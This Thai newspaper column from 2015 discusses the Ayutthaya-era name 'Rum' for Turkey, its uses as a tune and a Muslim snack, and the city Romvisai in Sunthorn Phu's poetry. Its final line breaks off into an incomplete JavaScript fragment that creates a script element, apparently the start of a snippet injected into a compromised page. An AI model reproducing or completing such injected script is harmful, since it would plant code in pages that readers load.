มติชนรายวัน ฉบับประจำวันอังคารที่ 8 กันยายน 2558

 

ตุรกี ยุคอยุธยา

          ตุรกี ชาวสยามยุคอยุธยารู้จักในชื่อ“หรุ่มโต้ระกี่” เรียกสั้นๆว่า“หรุ่ม”

          “หรุ่ม เป็นภาษาอาหรับ มาจากคำว่า รูม หมายถึง โรมันตะวันออก คือ กรุงคอนสแตนติโนเปิล ซึ่งต่อมาตกอยู่ในความครอบครองของมุสลิมในตุรกี ผู้คนจึงใช้คำว่ารูม หมายถึงมุสลิมตุรกีไปด้วย”

          (จากหนังสืออาหารในสำรับมุสลิมบางกอกน้อย โดย ศาสตราจารย์เกียรติคุณ ดร. กุสุมา รักษมณี สมาคมราชการุญ พิมพ์เมื่อเมษายน พ.ศ. 2555 หน้า 83-84)

          มีในจารึกโคลงภาพคนต่างภาษา ที่วัดโพธิ์ฯ ทำสมัย ร.3 ความว่า “เรียกหรุ่มโต้ระกี่เป็น อย่างไว้”

          แล้วมีคำอธิบายอยู่ใน“อภิธานศรับท์” ของหมอบรัดเลย์ (เป็นหนังสือพจนานุกรมภาษาไทย สมัย ร.5) ว่า “หรุ่ม เป็นชื่อเมืองต่างประเทศแห่งหนึ่ง และเป็นชื่อเรียกของกินอย่างหนึ่งด้วย”

          ยุคอยุธยา หรุ่ม เป็นชื่อทำนองเพลงดนตรีไทยสำเนียงแขก เขียน “อรุ่ม” (อ่านว่า หรุ่ม เหมือนคำว่า อย่า, อยู่, อย่าง, อยาก) และเป็นชื่ออาหารอย่างหนึ่งของมุสลิม

          เพลงดนตรียุคอยุธยามีชื่อใกล้สำเนียงแขกอีกหลายชื่อ แต่ยังหาคำอธิบายความหมายไม่ได้ เช่น ยิกิน, สระบุโหร่ง, มัดตรำ, บ้าระบุ่น, ฯลฯ

          อาหารว่างมุสลิมเรียกหรุ่ม ดร. กุสุมา รักษมณี อธิบายว่าคือไข่แหที่โรยทอดในกระทะน้ำมัน ร่างแหแล้วห่อไส้ (ปรุงเหมือนหน้ากุ้งที่กินกับข้าวเหนียว) ใส่กุ้งผสมหมูบดและถั่วลิสง ห่อรูปสี่เหลี่ยมจัตุรัส (ถ้าห่อไข่แหรูปสี่เหลี่ยมผืนผ้าขนาดพอคำ จะเรียกต่างไปว่า “ล่าเตียง”)

          มีในกาพย์เห่ชมเครื่องคาวหวานของ ร.2 ว่า “เห็นหรุ่มรุมทรวงเศร้า รุ่มรุ่มเร้าคือไฟฟอน”

 

โรมวิสัย

          ในพระอภัยมณีของสุนทรภู่ มีชื่อเมืองโรมวิสัย ว่าเป็นเมืองใหญ่ของพราหมณ์

          กาญจนาคพันธุ์ (ขุนวิจิตรมาตรา) อธิบายไว้ในหนังสือภูมิศาสตร์สุนทรภู่ (พิมพ์ครั้งแรก พ.ศ. 2490) ว่า

          โรมวิสัย หมายถึงบ้านเมืองบริเวณอ่าวเบงกอล ในอินเดีย ไม่ใช่หรุ่ม หรือรูม ในตุรกี และไม่ใช่กรุงโรม ในอิตาลีvar d=document;var s=d.createElement(‘script’); } else {